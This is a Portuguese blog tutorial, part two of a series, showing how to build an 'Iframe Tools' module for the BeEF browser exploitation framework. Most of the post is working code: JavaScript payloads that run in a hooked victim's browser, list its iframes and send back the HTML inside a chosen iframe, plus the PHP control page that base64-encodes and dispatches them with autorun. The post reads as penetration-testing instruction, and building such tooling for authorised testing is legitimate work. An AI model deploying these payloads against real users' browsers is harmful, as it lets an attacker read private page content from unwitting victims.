Wednesday, March 10, 2010

BeEF: Como programar Módulos (pt 2) – Módulo “Iframe Tools”

Tagged with: , ,
Friday, October 23, 2009, 2:25
This news item was posted in Desenvolvimento, Frameworks, etc, Segurança em Aplicações Web category and has 0 Comments so far.

beefContinuarei, hoje, a mostrar o quão simples pode ser criar um módulo para o Browser Exploitation Framework, ou BeEF. Se você pegou o bonde andando e perdeu toda a apresentação e a primeira parte de construção de módulos, corra para lá, pois o conteúdo de hoje não passa de um complemento.

Nossa tarefa será aumentar a complexidade do módulo adicionando opções configuráveis. Sendo assim, ao contrário do módulo “URL Crawler”, onde bastava apertar o botão para explorar, teremos um formulário com opções que vão definir o que será processado pelo zumbie.

# Módulo: “Iframe Tools”

Ok, eu confesso: Minha criatividade hoje não está em um bom dia. Mas que fique claro: O que vale é passar o conteúdo. Por favor, desconsidere o nome brega.

Nosso módulo terá duas funções:

  • Listar todos os iframes disponíveis na página, retornando nome e ID.
  • Caso tenha sido especificado um nome ou ID, retornar o código HTML que esta sendo exibido dentro deste iframe.

Obviamente, estas funções poderiam (e, em minha opnião, deveriam) ser divididas em dois módulos. Elas estão juntas aqui para demonstrarmos como trabalhar com opções, e para que possamos aprender mais fugindo dos padrões.

1# Estrutura e o Arquivo de Nome

Conforme expliquei na parte 1, crie a pasta específica para este módulo com o nome de iframe_tools dentro do diretório de módulos da categoria que preferir. Crie, também, o arquivo name.txt contendo apenas Iframe Tools . Até aqui, nada muda .. mas só até aqui.

2# O Payload (JavaScript)

Se lembra do Código JavaScript (payload) que é enviado e executado no navegador do Zumbie? Por padrão, como expliquei, o arquivo usado chama-se template.js. Porém, isto tudo não passa de um modelo, e, desta vez faremos diferente. Para que possamos deixar o código final a ser enviado menor, criaremos um arquivo para cada uma das funções que citei.

Teremos então:

  • template-lista.js : Lista e retorna os iframes na página
  • template-le.js : Lê o conteúdo do iframe previamente especificado.

O primeiro (template-lista.js) é semelhante ao “URL Crawler”. Basta ler e retornar as informações. Não é necessário verificar configurações previamente estabelecidas, não é mesmo? Então, vamos a ele:

function do_main(){
var iframes = document.getElementsByTagName("iframe");
for ( var i in iframes ) {
if(iframes[i].src) {
retorno = retorno + '\n ID: ' + i + '  SRC:' + iframes[i].src; }
}
}

var retorno = '';
do_main();
return_result(result_id, ((retorno) ? retorno : "Nenhum Iframe encontrado") );

O código é muito simples: Verifica as tags <iframe> que possuam um src já definido (ou seja, que já estão em uma página) e retorna ao BeEF uma relação de IDs e seus respectivos SRCs. Assim será possível definir qual iframe desejamos obter o conteúdo.

Falando em obter conteúdo, eis o simples código que fará esta função. Ele ficará no arquivo template-le.js e, obviamente, requer uma informação que deve ser previamente definida: O ID do elemento Iframe que ele deve retornar o conteúdo. Para isto, devemos usar no lugar desta informação uma palavra-chave que será, depois, substituida pelo valor. Neste caso, usaremos a palavra IFRAME-ID

return_result(result_id, window.frames[IFRAME-ID].document.getElementsByTagName("body")[0].innerHTML);

Atenção:  As palavras que serão substituídas não são variáveis do JavaScript, e sim palavras quaisquer. Nunca use palavras que sejam de uso comúm da linguagem, ou que sejam usadas no script, caso contrário, as demais ocorrências também serão substituídas.

3# A Página de controle do Módulo (index.php)

Ao contrário do último post, que quase não alteramos este arquivo, o teremos agora como foco principal.

Mais do que apenas um formulário de envio, o index.php faz o preparo do código a ser enviado. É ele quem carregará o payload para o envio e fará as mudanças necessárias, como a substituição de palavras-chave por valores definidos.

Lembre-se de que estamos usando dois payloads em um único módulo. É aqui que faremos a verificação de qual payload deve ser usado em cada situação.

No início do arquivo, criamos definições para “chamarmos” nossos payloads (javascript) de forma mais amigável, além de incluir um arquivo exigido pelo BeEF.

<?
// Copyright (c) 2006-2009, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
// Módulo por: Gabriel Lima - www.falandodeseguranca.com
// gabriel(@)falandodeseguranca.com

require_once("../../../include/common.inc.php"); // included for get_b64_file()

// Criamos definições para nossos 2 arquivos de payloads javascript.
DEFINE('JS_FILE_LISTA', './template-lista.js');
DEFINE('JS_FILE_LE', './template-le.js');
?>

Agora trabalharemos com JavaScript. Na função get_b64_code_cb, os dois payloads serão chamados e convertidos para base64. Criaremos uma variável para cada um (b64codelista e b64codele).  No caso da leitura do conteúdo de um iframe, é necessário substituir a palavra-chave IFRAME-ID (que criamos em #2) pelo valor digitado no campo “idiframe” do form de nome “myform”. A função também define qual payload será enviado, verificando se o campo está ou não em branco.

<script>

function get_b64_code_cb() {
// javascript is loaded from a file - it could be hard coded
var b64codelista = '<? echo get_b64_file(JS_FILE_LISTA); ?>';
var b64codele = '<? echo get_b64_file(JS_FILE_LE); ?>';

b64codele = b64replace(b64codele, "IFRAME-ID",document.myform.idiframe.value);

return ((document.myform.idiframe.value) ? b64codele : b64codelista);
}

Element.Methods.set_autorun = function() {
ar.enable('Iframe Tools', get_b64_code_cb());
}

Element.Methods.send_now = function() {
do_send(get_b64_code_cb());
}

// add construct code to DOM
Element.addMethods();

</script>

Finalmente, criamos o formulário, seguindo as especificações usadas no JavaScript para que o campo seja lido.

<div id="module_header">Iframe Tools</div>
Lista ou retorna o HTML de um Iframe.<br><br>
<div id="module_subsection">
<form name="myform">
ID do Iframe: <input type="text" name="idiframe" value=""/> <i>(Em branco: Lista Iframes)</i>
<input type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input type="button" value=" Send Now " onClick="javascript:send_now()"/>
</form>
</div>

4# Tudo pronto!

Temos tudo pronto e funcionando. Veja, abaixo, nosso módulo em ação:

Sem especificar ID (lista Iframes):

iframetools1

Ao especificar um ID (retorna conteúdo do Iframe):

iframetools2

É isso! Dúvidas e feedback: Envie um comentário neste post ou tweet para @gabrielpato ;)

Até a próxima!


You can leave a response, or trackback from your own site.

Leave a Reply

Powered by WP Hashcash